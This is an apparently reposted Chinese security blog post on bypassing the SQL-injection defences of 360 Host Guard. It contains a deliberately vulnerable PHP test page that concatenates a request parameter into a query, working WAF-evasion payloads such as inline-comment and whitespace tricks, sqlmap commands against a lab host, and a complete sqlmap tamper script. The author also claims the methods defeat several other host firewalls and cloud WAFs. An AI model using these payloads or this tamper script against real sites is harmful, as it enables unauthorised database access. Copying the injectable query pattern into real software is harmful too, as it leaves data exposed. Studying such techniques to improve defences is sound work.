Bypass 360主機衛士SQL注入防御(附tamper腳本)


0x01 前言

  在測試過程中,經常會遇到一些主機防護軟件,對這方面做了一些嘗試,可成功bypass了GET和POST的注入防御,分享一下姿勢。

0x02 環境搭建

Windows Server 2003+phpStudy

sql注入點測試代碼:

sql.php

<?php
$con = mysql_connect("localhost","root","root");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }
mysql_select_db("test", $con);
$id = $_REQUEST[ 'id' ];
$query  = "SELECT * FROM admin WHERE username = $id ";
$result = mysql_query($query);
while($row = mysql_fetch_array($result))
  {
  echo $row['0'] . " " . $row['1'];
  echo "<br />";
  }
echo "<br/>";
echo $query;
mysql_close($con);
?>

運行效果:

0x03 Bypass 過程

  對不同waf做了一些嘗試,關於SQL注入bypass,可以考慮划分為3種:

    1、完全bypass(union select+select from)

    2、部分bypass(union select 或select from)

    3、獲取一些敏感信息(如version()、database()等)     

A、Union+select

        先考慮如何繞過union+select,可以考慮一下幾種形式

    1、最常見形式 %20、+、/**/

    2、Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0

    3、內聯注釋   /!12345select/

 通過組合測試,可以發現 union%0a/*!12345select*/ 1,2 可以繞過防御。

 B、select+from

  select+from 也可以通過同樣的組合形式繞過防御。

  至此已完全繞過union+select+from。

0x04 自動化注入

編寫tamper bypass腳本,來利用sqlmap來跑數據

先看一下原始sqlmap的效果:

sqlmap.py -u  http://192.168.106.130/config/sql.php?id=1  --flush-session --dbs   失敗

加載tamper腳本,可成功獲取數據。

sqlmap.py -u http://192.168.106.130/config/sql.php?id=1 --flush-session  --technique=U --tamper="360safe.py" --dbs

tamper腳本:

#!/usr/bin/env python

"""
write by Aaron
"""
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
    pass
def tamper(payload, **kwargs):
    """
    Replaces keywords
    >>> tamper('UNION SELECT id FROM users')
    'union%0a/*!12345select*/id%0a/*!12345from*/users'
    """
    if payload:
        payload=payload.replace(" ALL SELECT ","%0a/*!12345select*/")
        payload=payload.replace("UNION SELECT","union%0a/*!12345select*/")
        payload=payload.replace(" FROM ","%0a/*!12345from*/")
        payload=payload.replace("CONCAT","CONCAT%23%0a")
        payload=payload.replace("CASE ","CASE%23%0a")
        payload=payload.replace("CAST(","/*!12345CASt(*/")
        payload=payload.replace("DATABASE()","database%0a()")
                
    return payload

 這邊主要是針對union select查詢進行的關鍵字替換,測試過程中,可以發現利用tamper腳本來bypass的弊端,sqlmap的部分payload是固定的,部分關鍵字會被waf攔截,需要一步步調試,總結,測試哪些關鍵字是被攔截的,如何繞過關鍵字的檢測等,還是挺麻煩。

0x05 END

  最好的自動化注入工具:可以考慮自己編寫一個自動化注入工具,靈活的自定義payload來獲取數據庫信息。

  目前的測試成果,可成功bypass注入防御,如 安全狗、雲鎖、360主機衛士、D盾_IIS防火牆等主機防護軟件及各種雲waf,有些姿勢都在用。

最后

歡迎關注個人微信公眾號:Bypass--,每周原創一篇技術干貨。 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM